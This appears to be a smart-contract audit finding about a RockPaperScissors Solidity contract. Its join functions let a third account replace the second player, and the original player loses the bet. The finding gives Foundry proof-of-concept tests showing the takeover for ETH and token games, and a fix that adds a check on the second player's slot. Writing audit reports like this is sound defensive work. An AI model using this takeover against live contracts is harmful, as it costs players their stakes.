Description:
A third account, other than playerA or playerB can call RockPaperScissors::joinGameWithEth or RockPaperScissors::joinGameWithToken and pay the bet after playerB has joined and become the new playerB.
Joining the game only requires the game.state to be Created, which will remain until the first move has been committed, allowing multiple calls to the function.
Impact:
A new player replacing playerB will result in the loss of the bet money for the original player.
Proof of Code:
This test proves that playerA can create an ETH game, playerB can join, then playerC can also join and replace playerB, all three having spent the bet money:
function testAuditJoinETHGameWithPlayerC() public {
vm.prank(playerA);
uint256 playerABalanceBefore = playerA.balance;
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.prank(playerB);
uint256 playerBBalanceBefore = playerB.balance;
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.prank(playerC);
uint256 playerCBalanceBefore = playerC.balance;
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
(address player_A, address player_B,,,,,,,,,,,,,,RockPaperScissors.GameState state) = game.games(gameId);
assertEq(player_A, address(playerA));
assertEq(player_B, address(playerC));
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
assertEq(playerABalanceBefore - playerA.balance, BET_AMOUNT);
assertEq(playerBBalanceBefore - playerB.balance, BET_AMOUNT);
assertEq(playerCBalanceBefore - playerC.balance, BET_AMOUNT);
}
The same can also be done with a token game:
function testAuditJoinTokenGameWithPlayerC() public {
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerB);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
vm.startPrank(playerC);
token.approve(address(game), 1);
game.joinGameWithToken(gameId);
vm.stopPrank();
(address player_A, address player_B,,,,,,,,,,,,,,RockPaperScissors.GameState state) = game.games(gameId);
assertEq(player_A, address(playerA));
assertEq(player_B, address(playerC));
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
assertEq(token.balanceOf(playerA), 9);
assertEq(token.balanceOf(playerB), 9);
assertEq(token.balanceOf(playerC), 9);
}
Recommended Mitigation:
Require playerB to be a zero address at the time of calling for both join functions.
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet"); //
+ require(game.playerB == address(0), "Player B has already joined");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
+ require(game.playerB == address(0), "Player B has already joined");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
